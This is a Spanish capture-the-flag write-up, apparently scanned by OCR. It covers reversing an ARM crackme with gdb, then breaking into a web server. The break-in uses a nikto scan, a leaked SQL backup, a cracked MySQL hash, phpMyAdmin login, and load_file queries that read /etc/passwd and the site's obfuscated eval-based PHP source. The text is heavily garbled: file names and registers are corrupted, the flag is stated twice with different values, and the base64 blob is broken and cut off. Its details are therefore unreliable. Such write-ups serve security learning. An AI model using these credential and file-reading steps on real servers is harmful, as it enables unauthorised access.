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Nivel 1 Reto 1 - Binario ARM

Descripcion del reto
las mismas malas practicas para validar, pero en otro lugar.

Archivos adjuntos
aae4271263d9a1585d4292c8dbe67c5c

Una vez descargado el archivo, es necesario identificarlo, para esto usamos la utilidad file de
linux, la cual utiliza una sistema de identificacion de archivos basado en los primeros bytes
(magic number), la lamamos pasandole como parametro el nombre del archivo:

$ file aaed271263d9a1585d4292c8dbeb7c5c
aaed271263d9a1585d4292c8dbe67c5¢c: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically
linked, for GNU/Linux 2.6.14, not stripped

Se identifica un ejecutable tipo ELF, para la arquitectura ARM. Una opcion era ejecutarlo dentro
de un emulador de ARM, como lo es Qemu, pero debido a que estos emuladores no emulan

el set de instrucciones completo, y a que se tenia disponible un hardware ARM, se corrio la
aplicacion en este dispositivo.

El equipo usado fue un Nokia N90O, el cual cuenta con un procesador TI OMAP 3430 SoC
ARM Cortex-A8 CPU, compatible con ARMv7. Este cuenta con una distribucion GNU/Linux
llamada Maemo, basada en Debian. Mediante el uso de los repositorios de desarrollo se
pueden instalar herramientas como GDB, y SSHd la cual nos permitio analizar el binario con
facilidad desde un equipo.

Una vez estamos en la terminal del telefono, copiamos el archivo, puede ser mediante la
memoria microSD, u obtenerlo de internet.

Le damos permisos de ejecucion al binario:
# chmod +x aae4271263d9%9a1585d4292c8dbe67c5c
Y lo ejecutamos:

# ./aaed271263d9%9al1585d4292c8dbe67c5c
Forma de uso: ./BINARIO <user> <password>

Decompilando el ejecutable con IDA o buscando a traves de las cadenas se encontro que el
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usuario es “campuser”, pero el password aun es desconocido.
En IDA se identifico que en 0x82AC es donde se lleva a cabo la verificacion de la contrasefa
luego de haber verificado el usuario.

Ejecutamos el binario con gdb para poder depurar facilmente.
# gdb aaed4271263d9a1585d4292c8dbeb67cbc

GNU gdb (GDB)
Copyright (C)

6.8.50.20090417-debian
2009 Free Software Foundation,

Inc.

License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>

This is free software:

and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabi".

For bug reporting instructions,

you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Type "show copying"”

please see:

<http://www.gnu.org/software/gdb/bugs/>. ..

(no debugging symbols found)

(gdb)

Ponemos un breakpoint en 0x82AC

(gdb)
Breakpoint 1

b *0x82ac

at 0x82ac

Ejecutamos el binario con dos parametros: campususer y la clave AAAABBBB

(gdb)

Starting program:

r campususer AAAABBBB
/aaed271263d9a1585d4292c8dbe6b7c5¢c campususer AAAABBBB

El programa se detiene en la rutina donde se verifica la contrasena

Breakpoint

0x000082ac <main+132>:

1, 0x000082ac in main ()

sub

r3, rll, #38 ; 0x26

Usando el comando disas podemos ver que se va a ejecutar

(gdb) disas

0x000082ac <main+132>: sub r3, rll, #38 ; 0x26

0x000082b0 <main+136>: mov r0, r3

0x000082b4 <main+140>: 1dr rl, [pc, #196] ; 0x8380 <main+344>
0x000082b8 <main+144>: 1dr r2, [rll, #-8]

0x000082bc <main+148>: Dbl 0xa9c0 <sprintf>

0x000082c0 <main+152>: 1dr r3, [rll, #-92]

0x000082c4 <main+156>: add r3, r3, #8 ; 0x8

0x000082c8 <main+160>: ldr r3, [r3]

0x000082cc <main+l64>: sub r2, rll, #38 ; 0x26

0x000082d0 <main+168>: mov r0, r3

0x000082d4 <main+172>: mov rl, r2

0x000082d8 <main+176>: Dbl 0x135c0 <strcmp> //Comparacion de la contrasefia
0x000082dc <main+180>: mov r3, r0

0x000082e0 <main+184>: cmp r3, #0 ; 0xO0



0x000082e4 <main+188>: Dbne 0x833c <main+276>

Ponemos un breakpoint justo en la comparacion (strcmp):

(gdb) b *0x82d8
Breakpoint 2 at 0x82d8

Continuamos con la ejecucion del programa

(gdb) c
Continuing.

Se detiene en la comparacion, procedemos a ver el valor del registro r1

Breakpoint 2, 0x000082d8 in main ()
0x000082d8 <main+l176>: bl 0x135c0 <strcmp>

(gdb) i r rl r2

rl Oxbe8db4be 3196957886

(gdb) x/20x S$rl

Oxbe8db4dbe: 0x36323731 0x00393237 0xa2d80000 0x00000000
Oxbe8dbdce: 0xa2940000 0x00000000 0x00000000 0x59090000
Oxbe8db4de: 0x0000001a 0x9ddc0000 0x00000000 0xb6340000
Oxbe8dbdee: 0x0003be8d 0x82280000 0xa2d80000 0x00000000
Oxbe8db4fe: 0xa2940000 0x00000000 0x00000000 0x00000000

La clave (0x36323731 0x00393237) es almacenada en formato little-endian, al pasarlo a ASCII

obtenemos el password 1726729

Volvemos a ejecutar el binario ahora pasandole la nueva contraseina

(gdb)

r campususer 1726729

The program being debugged has been started already.

Start it from the beginning?

Starting program:

Se detiene en los breakpoints

Breakpoint 1,

0x000082ac
(gdb) ¢
Continuing.

Breakpoint 2,
<main+176>:

0x000082d8
(gdb) c
Continuing.

0x000082ac in main
<main+132>:

sub r3,

0x000082d8 in main

bl

0

rll,

0

(y or n) y

#38

0x135c0 <strcmp>

/aaed271263d9a1585d4292c8dbe67c5¢c campususer 1726729

; 0x26



Y nos imprime la contrasefia
La llave de este reto es: 3454794187d6ff7c6abddb
Program exited normally.

La llave entonces para este primer reto es 3454794187d6ff7c6a5dd5

Nivel 1 - Reto 2 - Piensa diferente
Descripcion del reto

Piensa diferente
50.17.69.244

Para este reto se ingreso directamente a la ip proporcionada, y se obtuvo que tenia un servidor
HTTP Apache instalado, el cual retornaba un mensaje de error.

Table 'retocp.operaciones' doesn't exist

Para obtener mas informacion, debemos usar el scanner opensource nikto:

$ nikto -h 50.17.69.244
- Nikto v2.1.4

+ Target IP: 50.17.69.244

+ Target Hostname: ec2-50-17-69-244.compute-1.amazonaws.com
+ Target Port: 80

+ Start Time: 2011-06-31 02:22:00

+ Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lennyl0 with Suhosin-Patch

+ Retrieved x-powered-by header: PHP/5.2.6-1+lennyl0

+ Apache/2.2.9 appears to be outdated (current is at least Apache/2.2.17). Apache 1.3.42 (final
release) and 2.0.64 are also current.

+ Number of sections in the version string differ from those in the database, the server reports:
php/5.2.6-1+lennyl0 while the database has: 5.3.5. This may cause false positives.

+ PHP/5.2.6-1+lennyl0 appears to be outdated (current is at least 5.3.5)

+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/
library/e8z01xdh%28VS.80%29.aspx for details.

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is wvulnerable to XST

+ OSVDB-12184: /index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially
sensitive information via certain HTTP requests that contain specific QUERY strings.

+ OSVDB-3268: /backup/: Directory indexing found.

+ OSVDB-3092: /backup/: This might be interesting...

+ OSVDB-3092: /phpmyadmin/: phpMyAdmin is for managing MySQL databases, and should be protected
or limited to authorized hosts.

+ OSVDB-3268: /icons/: Directory indexing found.

+ OSVDB-3233: /icons/README: Apache default file found.

+ 6448 items checked: 1 error(s) and 12 item(s) reported on remote host

+ End Time: 2011-06-31 02:32:34 (634 seconds)



Despues de que termino el analisis, vemos en el resultado la existencia de dos carpetas
importantes:

http://50.17.69.244/backup/
http://50.17.69.244/phpmyadmin/

El directorio phpmyadmin corresponde a la herramienta de administracion web para Mysq|.

El directorio backup contenia dos archivos, uno llamado info.txt con explicitas instrucciones de
eliminar estos datos, y el otro llamado BD.sql, el cual tiene una copia de seguridad del motor
Mysql. Al analizar este archivo se puede ver que incluye la informacion de la base de datos
INFORMATION_SCHEMA, la cual es usada por MySQL para almacenar informacion interna,
entre esta la informacion de los usuarios. Existen dos usuarios en el sistema, root y retocp. Y
este dump incluye la informacion de la clave de acceso hasheada, para el caso del usuario
retocp el valor es 6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9. Usando el buscador
Google [1], podemos ver que este hash corresponde al valor 123456. Ahora que ya tenemos
credenciales validas, podemos acceder al mysql mediante el phpmyadmin, una vez alli, usamos
la ventaja de que la cuenta retocp tiene privilegios de lectura de archivos.

Realizamos una consulta para obtener el /etc/passwd, lo cual nos permite ubicar el directorio
raiz del servidor web.

Select load_file('/etc/passwd')

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games: /bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:1p:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody: /nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:102:104:MySQL Server,,,:/var/lib/mysqgl:/bin/false
debian-exim:x:103:105::/var/spool/exim4d:/bin/false

Ahora sabemos que el directorio raiz esta en /var/www, procedemos a leer el archivo /var/iwww/
index.php:



select load_file('/var/www/index.php')

<?php

//Obfuscation provided by FOPO - Free Online PHP Obfuscator v1.2: http://www.fopo.com.ar
Sw7d97d£97859="\x62\141\x73\145\x36\64\x5£\144\x65\143\x6£\144\x65";Reval ($w7d97d£97859 (
"JHkzZmY3YzQ2Nzg3MzI1M2QwY2QwNDUyYz1kMTE2YTIZzPSJceDYyIjskYjZmZjRhNWRiZGZJMTgwMzcwZTViZjl
mNzM40ODNhMzA9T1x4NjUiOyRtOGUWNGU4YWU4OWIMOGI SM] Y1IMINmMWQOSMTZhMTcyZT01XHg2N1iI7JHUXZWEJYTM
yNJkxMTEWYZJZmEzYWI2ZTY5YzM3Nzc1PSJceDY 31 skejUwYWQwMD1mZjg5MDQ5MTAWM) h1NDBMNWY OMGJLNWQ
9T1x4NmQiOyRyZDY5YWVmYjg2NDE5MmMQ10DE1Mz 1 JMGEXZTF10GMzMT01XHg221iI7JHVhM2QwN2Q5N Y52 M1 ZmZ
kOWE zMGEwWYjU4MGYzYzAwPSJceDZmIjskY2Z2i10TgzNDdjYWJhNDIzOTYOMGMyY2MOOTA3NJEL1ODk9T1x4NmY1i0yR
ANTcyMGZiZjI3YjFhMTFkYmQ1ZmU3NzUzNmM3NWIONDOiXHg2ZiI7JHZkMFiNWEWNWVINTNmMGE4NjY1MDEZzOTd
MDA ZWU3PSJceDczIjskbjVhYjVKMDhmMTU1YdhZmQ4 YmIhMzkwMz I 2NTgyMTc9I1x4NzMiOyRONzUOMzk1MGY
1Y2VhMWUwWYjcwOTdjYJALZWZYZzZiMz01iXHg3MyI7JGE2MTY3NTBkNmMQINmMZ j ZTcxOWYwMDYxOWI40TMEMWMyPSJ
ceDczIjskeTNmZjdiNDY30DczMjUzZDBj ZDAONTJJOWQXMTZhMjMuPSJIcMTOxIjskYjZmZjRhNWRLZGZIMTgwMzc
wWZTV)Z31lmNzM4ODNhMzAUPSJIcMTYyIjskbTh1IMDRIOGF10D11ZjhiOTI2NTIZzZjFkOTE2YTE3MmMUUPSJIcMTUXI]s
kdTF1YWNhMzI20TEXMTBiNmNmYTNhYJZ1Nj1ljMzc3NzUuPSJIcMTcyIjskejUwYWQwMD1mZjg5MDQ5MTAWMjh1NDB
mMNWYOMGJIINWQuUPSJIcMTQO0IjskcmQ20WF1ZmI4NFQxOTIKNTgxXNTMS5YzBhMWUXZThjMzEuPSJIcMTQyIjskdWEzZDA
3ZDk2N3 1mMzVmZmQ5Y TMwYTBiNTgwZjNJMDAUPSJIcMTQyI jskY2%10TgzNDdj YWIhNDI zOTY OMGMyY2MOOTA3N I E
10DkuPSJcMTQyIjskeDU3MIBmYmYyN2 IXYTEXZGIKNWZ1Nzc1MzZjNzViNDQuPSJIcMTQyIjskdmQyMWI1YTALZWM
IM2YWYTg2NjUWMTMS5N2MwN2N1ZTcuPSJcMTYOIjskbjVhYjVkMDhmMTUL1YjdhZmQ4YmIhMzkwMzI2NTgyMTcuPSJ
cMTY0IjskdDcINDMSNTBmNWNIYTFIMGI3MDk3Y2 IWNWVmMY2M2YJMuPSJIcMTYOIjskYTYxNJc1MGQ2ZDU2ZmNINzZE
5ZJAWNIE5Yjg5MzkxYzIuPSJIcMTYO0IjskeTNmZjdjNDY30DczM]jUzZDBY ZDAONTJIJOWQXMT ZhMjMuPSJceDczIgs
kYjZmZ3jRhNWRiZGZIMTgwMzcwZ TV 25 1mNzM4ODNhMzAuPSJceDY1I§skbTh1IMDR1OGF10D11iZihiOTI2NTIZZ]F
kKOTE2YTE3MmUuPSJceDZ 3 I§skdTF1YWNhMzI20TEXMTBiNmMNmYTNhY Z1N91jMzc3NzUuPSJceDY5I skejUwYWQ
wMD1mZ3jg5MDQ5SMTAWMIh1NDBmNWY OMGJIINWQuUPSJceDM1 IjskcmQ20WE1ZmI 4N QOxOTJkNTgxNTM5Y zBhMWUxZTh
jMzEuPSJceDVmIjskdWEzZDA3ZDk2NF LaMzVmZmQ5Y TMwY TBiNTgwZJNJMDAuPSJceDVmIjskY2210TgzNDdj YWT
hNDIzOTYOMGMyY2MOOTA3NJE1ODkuPSJceDVmIjskeDU3MIBmYmYyN2IxYTEXZGIkNWZ1INzc1MzZjNzViINDQUPSJ
ceDVmIjskdmQyMWILIYTALIZWMIM2YwYTg2NjUWMTMS5N2MwN2N1ZTcuPSJceDcyIjskbjVhYjVkMDhmMTULlYjdhZmQ
4YmJIhMzkwMzI2NTgyMTcuPSJceDcyIjskdDcINDMSNTBmNWNIYTEIMGI3MDk3Y2 IwNWVmMY2M2YjMuPSJceDeyIjs
kYTYxNjcIMGQ2ZDU2ZmNINzE5ZJAwWNJES5Yjg5MzkxYzIuPSJceDcyIjskeTNmZjdjNDY30DczMjUzZDBj ZDAONTJ
JOWQXMT ZhMjMuPSJIcMTQ1 I skYZmZjRhNWR1 ZGZIMTgwMz cwZ TV %3 1mNzM4ODNhMzAuPSJcMTQ3 I jskbTh1MDR
1OGF10D1iZjhiOTI2NTIZzZjFKkOTE2YTE3MmMUUPSICcMTQ1IjskdTF1YWNhMzI20TEXMTBiNmNmYTNhYjZ1Nj1ljMzc
3NzUuPSJcMTU2IjskcmQ20WF1ZmI4NFQxOTIJKNTgxXNTMS5YzBhMWUXZThjMzEuPSJcMTQ1IjskdWEZZDA3ZDk2Nj 1
mMzVmZmQ5YTMwYTBiNTgwZ JNIJMDAUPSJIcMTQ1IjskY2Zi0TgzNDdjYWIhNDIzOTYOMGMyY2MOOTA3NJE1ODkuPSJ
cMTQ3IjskeDU3MIBmYmYyN2IxYTEXZGIKNWZINZzc1MzZjNzViINDQUPSJICMTYZzIjskdmQyMWI1YTALIZWMIM2YwYTg
2NFUWMTMSON2MwN2N1ZTcuPSJIcMTM3IjskbjVhYjVkMDhmMTUL1Y jdhZmQ4YmIhMzkwMz I2NTgyMTcuPSJcMTM3Ijs
kdDc1INDMSNTBmNWNLIYTFIMGI3MDk3Y2 IwNWVMY2M2Y JMuPSIcMTYWIjskYTYxN]c1IMGQ2ZDU2ZmNINZzES5ZJAWNIE
5Y§g5MzkxYzIuPSJcMTYOIjskeTNmZjdjNDY30DczMjUzZDB] ZDAONTJJOWQxMT ZhMjMuPSJceDM2I§skYjZmzjR
hNWRiZGZIMTgwMzcwZTV)Zj1lmNzM4ODNhMzAuPSJceDVmMIjskbTh1MDRIOGF10D1iZjhiOTI2NTIzZjFkOTE2YTE
3MmUuPSJceDVmIjskdTF1YWNhMzI20TEXMTBiNmMNmYTNhYjZ1Nj1jMzc3NzUuPSJceDY2IjskcmQ20WF1ZmI4N7Q
XOTJKNTgxNTM5YzBhMWUXZThjMzEuPSJceDZ1IjskdWEZZDA3ZDk2Nj 1lmMzVmZmQ5YTMwY TBiNTgwZ jNJMDAUPSJ
ceDZ1I9skY22i0TgzNDdj YWIhNDIzOTYOMGMyY2MOOTA3NJEL1ODkuPSJceDY1IjskeDU3MiBmYmYyN2 IxYTEXZGT
kNWZ1NzclMzZjNzViNDQuPSJceDc0IjskdmQyMWI1YTALZWMIM2YwYTg2NjUwWMTMON2MwN2N1ZTcuPSJceDecyIjs
kbjVhYjVkMDhmMTULlYjdhZmQ4YmIhMzkwMzI2NTgyMTcuPSJceDcyIjskdDcINDMSNTBmNWNIYTFIMGI3MDk3Y2T
WwNWVmMY2M2YjMuPSJceDZmIjskYTYxNc1MGQ2ZDU2ZmNINZzE5ZJAWNJES5Yjg5MzkxYzIuPSJceDZmIjskeTNmzZjd
JNDY30DczMjUzZDBJjZDAONTJJOWQOxXxMTZhMIMuPSJIcNjQiOyRINMZMNGE1ZGJIkZmMxODAZNzZBINWNmMOWY 3Mzg4M2E
ZMC49T1wxNjIi0yRtOGUWNGU4YWU40WIMOGI 5M] Y1 M) NmMMWQSMT ZhMTcyZS4 9T 1wxNDciOyRIMWVhY2EzMjY5MTE
XMGI2Y2ZhM2FiNmU20WMzNzc3NS49T1wxNTQiOyRyZDYSYWVMY jg2NDESMmMQ10DE1Mz1 JMGExZTF10GMzMS49T 1w
xNDQiOyR1YTNkMDAkOTY20WYzNWZmZD1hMzBhMGI10DBmM2MwMC4 9T 1wxNDQiOyRjZmI50ODMON2NhYmEOMjMENTQ
wYzJjYzQ5MDc2MTU40S49T1wxNjJQiOyRANTCcyMGZ1ZI3YJFhMTFkYmQ1ZmU3NzUzNmM3NWIONC49I1wxNDEiOyR
2ZDIxYJjVhMDV1YzUzZ3JBhODY2NTAxMzk3YzA3Y2VINy49I1wxNDULIOyRUNWEiNWOWOGYXNTViIN2FmZDhiYmEZzOTA
zMjY1ODIxNy49I1wxNTciOyRONzUOMzk1IMGY1Y2VhMWUWYjcwOTd]jYJALZWZjYzZiMy49I1lwxNjMiOyRhNJE2NzU
wWZDZKNTZmY2U3MT1ImMDA2MT110DkzOTFIMi49T1wxNTMiOyR5M2 ZmN2MON] c4NzMyNTNkMGNkMDQ1MmM5 ZDExXNmE
yMy49T1x4NWYiOyRINMZMNGE1ZGJIkZmMxODAZNZBINWNMOWY 3Mzg4M2EzMC4 9T 1x4NjULi0OyRtOGUWNGU4YWU40OWJ
mOGI5SM]jY1IMjNmMMWQSMTZhMTcyZS49T1x4NjULIOYyRIMWVhY2EZMIYSMTEXMGI2Y2ZhM2FiNmU20WMzNzc3NS49T1x
4NJEiOyRyZDY5YWVMYjg2NDESMmMQ1ODE1Mz1jMGEXZTF10GMzMS49T1x4NWY1i0yR1IYTNKMDAkOTY20WY zNWZmZD1
hMzBhMGI1ODBmM2MwMC49I1x4NWYiOyRjZmI5SODMON2NhYmMEOMIMENJQwYzJjYzQ5MDc2MTU40S49T1x4NWYi0yR
4NTcyMGZiZjI3YjFhMTFkYmQ1l ZmU3NzUzZNmM3NWIONC49TI1x4NzIi0OyR2ZDIxYjVhMDV1YzUzZjBhODY2NTAxMzk



3YzA3Y2VINy49I1x4NzAiOyRUNWEFiINWQWOGYXNTViIN2FmZDhiYmEZzOTAzMjY10ODIxNy49T1x4NzQiO0yR5M2ZmN2M
ON7j c4NzMyNTNkMGNkMDQ1MmM5ZDEXNmMEyMy4 9T 1wxNDQiOyRiNmZmNGE1 ZGIkZmMxODAZzNzB1INWNmMOWY 3Mzg4M2E
zMC49I1wxNjAiOyRtOGUWNGU4YWU4OWIMOGISMIYIMINmMMWQSMTZhMTcyZS49I1wxNjQiOyRIMWVhY2EzM]jY5MTE
XMGI2Y2ZhM2FiNmU20WMzNzc3NS49I1wxNjQiOyRyZDY5YWVmMYjg2NDESMmMQ10DE1IMz1 JMGEXZTF10GMzMS49I 1w
xNDMiOyR1YTNkMDAkOTY20WYzNWZmZD1hMzBhMGI10DBmM2MwMC4 9T 1wxNDYiOyRjZmI50ODMON2NhYmEOMjMENTQ
WYzJ§YzQ5MDc2MTU40S4 9T 1wxNDMiOyR4ANTCyMGZ12%I3YJFhMTFkYmQ1 ZmU3NzUzNmM3NWIONC4 9T 1wxNjQiOyR
2ZDIxY3jVhMDV1YzUzZ3JBhODY2NTAxXMzk3YzA3Y2VINy49I1wxNTQiOyRUNWEiINWOWOGYXNTViIN2FmZDhiYmEZzOTA
zMjY1ODIxNy49I1w2MSI7JHkzZmY3YzQ2Nzg3MzI1M2QwY2QwNDUyYz1kMTE2YTIzLj01iXHg2NSI7JGI2ZmY0YTV
kYmRmYzE4MDM3MGU1Y2Y523cz0ODgzYTMwL]j0iXHg2YyI7JG04ZTAOZThhZTg5YmY4YjkyNjUyM2YxZDkxNmExXNzJ
1Lj0iXHglZiI7JHUXZWESYTMyN]kxMTEWY 2 ZmEzYWI2ZTY5YzM3Nzc1Lj0iXHg2NSI7JHIKN LhZWZ10DY OMTk
yZDUA4AMTUZOWMwYTF1MWU4Y zMx L9 0iXHg2YyI7JHVhM2QwN2Q5N] Y52 M1 ZmZ kOWE zMGEWY JU4MGY zYzAwLj 01 XHg
2YyI7JGNmMYJk4MzQ3Y2FiYTQyMzk2NDBI MmN NDkwNz YxNTg5L 3 01XHg221T7JHZKM] FiNWEWNWVINTNmMGE 4N Y
1MDEzOTdiMDd] ZWU3L30iXHg2MSI7JG41YWI1ZDA4ZJEINWI 3YWZKkOGJ1 YTM5MDMyNjU4ME3L 5 0iXHgzMyI7JHk
zZmY3YzQ2Nzg3MzI1M2QwY2QwNDUyYz1kMTE2YTIzLj01iXDEOMyI7JGI2ZmYO0YTVkYmRmYzE4MDM3MGU1Y2Y5Z ¢
z0DgzYTMwLj01iXDEOMSI7JG04ZTAOZThhZTg5YmY4YjkyNJUYyM2YxZDkxNmExNzJ1Lj01iXDEOMyI7JHIKNG 1hZWz
10DYOMTkyZDU4MTUZOWMwYTEF1IMWU4YzMxLj01XDEONSI7JHVhM2QwN2Q5NjY5ZjM1ZmZkOWEzMGEwWY jU4MGYzYzA
wLj01iXDE2NSI7JGNmYjk4MzQ3Y2FiYTQyMzk2NDB MmN NDkwNz YxNTg5LF 01 XDE1N1I7JHZkM] FiNWEWNWVNTN
MMGE4N7Y1MDEZOTdjMDd] ZWU3LS 0iXDEOMyI7JHkZzZmY3YzQ2Nzg3MzI 1M2QwY2QwNDUyYz1kMTE2YTIzL901iXHg
272i17JGI2ZmY0YTVKYmRmY zE4MDM3MGU1Y2Y5%9 czODgzYTMwLj 0iXHg2MyI 7JG04ZTA0ZThhZTg5YmY4YjkyNjU
yM2YxZDkxNmExNzJ1Lj01iXHg2ZiI7JHIJkKkN1hZWZiODYOMTkyZDU4AMTUzZOWMWYTF1IMWU4Y zMxLj01iXHg2MSI7JHV
hM2QwN2Q5N] Y52 M1 ZmZkOWEzZMGEWY JU4MGY 2Y zAwL 3 01 XHg3My I 7JGNmY § k4MzQ3Y2F1YTQyMzk 2NDBj MmN NDk
wNzYxNTg5L501iXHg3NCI7JHZkM] FiNWEWNWVNTNmMGE4NS Y 1MDEzOTd MDA ZWU3L) 01 XHg2NSI 7JHkzZmY3YzQ
2Nzg3MzI1M2QwY2QwNDUyYz1kMTE2YTIzLj01iXDEONCI7JGI2ZmYO0YTVkYmRmYzE4MDM3MGU1Y2Y5Z25cz0ODgzYTM
wLj0iXDEONSI7JG04ZTAOZThhZTg5YmY4Y kyNjUyM2YxZDkxNmExNzJ1L 01 XDE1NiI7JHIkN1hZWZ1i0DYOMTk
yZDU4MTUzOWMwYTEF1IMWU4YzMxLj01iXDE1INiI7JHVhM2QwN2Q5NjY5Z M1 ZmZkOWEzMGEwWY JU4MGY zYzAwLj 01 XDE
IMCI7JGNmYjk4MzQ3Y2F1iYTQyMzk2NDBIJMmMNJNDkwNzYxNTg5Lj0iXDEONSI7JHkzZmY3YzQ2Nzg3MzI1M20wY2Q
wNDUyYz1kMTE2YTIzL0iXHg2NSI7JG04ZTAOZThhZTg5YmY4YkyNjUyM2YxZDkxNMExNzJ1L01iXHg3NCI7JGN
mY3k4MzQ3Y2FiYTQyMzk2NDBI MmN NDkwNzYxNTg5Lj01iXHg22ST7JG04ZTA0ZThhZTg5YmY4Y ] kyNjUyM2YxZDk
xNMExNzJ1L70iXDEONSI7JGNmMY jk4MzQ3Y2FiYTQyMzk2NDBIMmNINDkwNz YxNTg5L50iXDE2NCI7JG04ZTAOZTh
hZTg5YmY4YjkyNjUyM2YxZDkxNmExNzJ1L] 01XHg2ZSI7JGNmMY§k4MzQ3Y2F1iYTQyMzk2NDB MmN NDkwNZzYxNTg
5Lj0iXHg3MyI7JG04ZTAOZThhZTg5YmY4YjkyNjUyM2YxZDkxNmExNzJ1Lj0iXDE2NCI7JG04ZTAOZThhZTg5YmY
4Y9kyNjUyM2YxZDkxNmExNzJ1Lj 0iXHg3MyI7JHg1Nz IwzZmJInMjdiMWEXMWR1 ZDVmZTe3NTM2Yzc1YJQOKCk7aWy
0JHO1MGFkMDAS5ZmY4O0TAOOTEWMDI4ZTQwZ JVMNDB1 ZTVKKCRiINmMZmNGE 1 ZGJkZmMxODAZNzB1NWNmOWY 3Mzg4M2E
ZMCgiXHglY1wlMFx4MjJcMTMzXHgzMFwlNVx4Mz 1 cMTAxXXHgyZFwxMz JceDYxXDU1XHg3YVwxMzRceDJiXDU3XHg
zZFwxMzVceDIhXDQyXHglY1wlMSIsI1x4MjhcNDJceDIyXDUxIiwkdmQyMWI1YTALZWMIM2YwYTg2N]jUwMTM5N2M
WN2N1ZTcoIllxyXG4iLCI1iLCRtOGUWNGU4YWU40WIMOGIS5M]Y1IMINmMMWQSMTZhMTcyZSgkYTYxNjc1MGQ2ZDU2ZmN
1NzZE5ZJAWNJE5Yjg5MzkxY2zI0oX19GSUxFX18sI1x4MjgiKSkpKSk9IPSIceDMzXDYxXHgzMlwxNDRceDY1XDEONLx
4MzRcNzFceDY2XDY3XHg2NVw2MEx4MzNcNjBceDMzXDcwXHgzOFwxNDNceDM2XDEOM1 x4MzNcMTQOXHgzMFw2M1 x
4NjJcNjZceDY1XDEONVx4N]JcNJceDYxXDYxI117QGV2YWwoJHUXZWF j YTMyNJ kxMTEWY 23 ZmEzYWI2ZTY5YzM
3Nzc1KCR5M2ZmN2MONT c4NzMyNTNKMGNkMDQ1MmM5 ZDExNmEyMygkbjVhYJVkMDhmMTU1YJdhZmQ4 YmJIhMz kwMz T
2NTgyMTcoImlIb29vY2pqUkMwSVMrSE8wd0dPM1d1lcWNGR2REOS 98Tz ZJUF1XdXpjcDIsTmSWeHZpZW1lhb1VVMOF
JZzJ2YKN5SULIuMkO3WUJKcFR3bD1CUOkrZ0ElaGIJHaFBhSXhkZ2xhTmdgZUpoTVhISWInS2Nrc0tJaytpUTdAMVIWN
nejNuaUFKVWNoMjMrMi8rNS9tR21IMWpsb283b3E3YzNpcmxXbEhtVW1DZ1hFUk1 JoFRmbDRrWUtYOGl ZdVdMazd
Oc2pHY1BOOEcrWCtUcVpzTkkzVkFOVz1IemkyMjZhZEo0dS81YmMORkKkFMOUXMZ zBMLzhXcnJxS2FicVRncVpYR1o
4SnUwSUZUTVVENGVUbEk0dXd2UmxOUWx4ANHRtYOxrVzBFcm91Z0JpdURYZVVFeGNvY jF2dFBER2g0ONH1IITD1neFZ
GUTA3TXovZWg3NSs1K3klcO0FzZC9ZM2FxeGlgTEIJNajV6Ul1PZGQzMWVvNUczdDJOSMNBWjd2VINLVDMrTi9vZUc
VIEFOYTATR1IpLT1dOTTRmNkUvS1IwUEJEYk5ndk5vUFFsMTNSWmxqcGIKYMRaUDEWR1 JkdzN2V2IxNGh5a2Q3Tkw
2eVgyNDRBYmMAFVFEFZCaWxIbEdmZ1Y3RG12eDFxM1F1eC8vRTg3VW1IUWV1ILRVVhMNUlVXFWa3plY2daSVRSLOFUQME
GUGLlEdG1LZ25sMmpzN3dZMituazgwenlia2IlydzlRdXF1aUpzS3pvUzIxbONDZOJLcmIQK3p3N1ldzbVgwYOcl1MjM
wczBXY1BYyNOR4WMZkTnlkNit0aEZDbOkxRWIKkVWhnR3FDakVwYytRalNzNFpIMEZXUOFSOEVPSFJYZkh0dTV2YVJ
UNkKZEdmtFbGF4WStuNGRHZmVONOFRbHEFJZ2FnRWh6MFpUNUtjUlpnM241WmMvR1IU3NOpiVHVOaWtGNnFWYT1DNEY
vIWIMSWAwM2 FHULIFRM3B6bGgydEZpNzhST1RXdDAUQXhiQWI6R244Z1Q5dTFjMVpPY1ZMME1veGk0a3hWNW50VVE
ZUVNCVXdnclZUS2FPUnNuYkpNdHdRbkp2UitsQkZMcOZPY25sK1FpeFYvS085MGxYATRVZWSXRT1LaWZpNEZBLOdA
2a3RETW54TINMbGpFYkJIGTGx3b1ZyVDRWR1ZrNjQ3aEd4VUJRTNErOFBNbjEvAGNmeVRPQkVNTTV5b2pMU3Fuejd
KODNOSFVECJjA3QVFKUWgwWQTZRU1VPazFnSnBsRV1ILSURCAFoObGp5SektucHpHamU4ZCtmK3hYUTBLcnpxL092cld
hMzVrT3p5TmI5UEx4bVUSODIgbGhRA2Z2IajVMa2wSWFdAGhbndWTnl11K2JUVktKdjdZTGZMWXAgNORXUHZDVWUXNEJ
Cdjz1alzJdz0Vidk8rbT1LNG11ZE9gPTOiKSkpKTt 9JHQO3NTQzOTUWZ V] ZWEXZTBiNZASN2NiMDV1ZmNjNmIzKCR
J2ZmI50DMON2NhYmEOMIM5NSQwY zJjYZzQ5MDc2MTU40SgpLCIceDM2XDY xXHgzOFw3MVx4N) JcMTQyXHgzM1wxNDZ
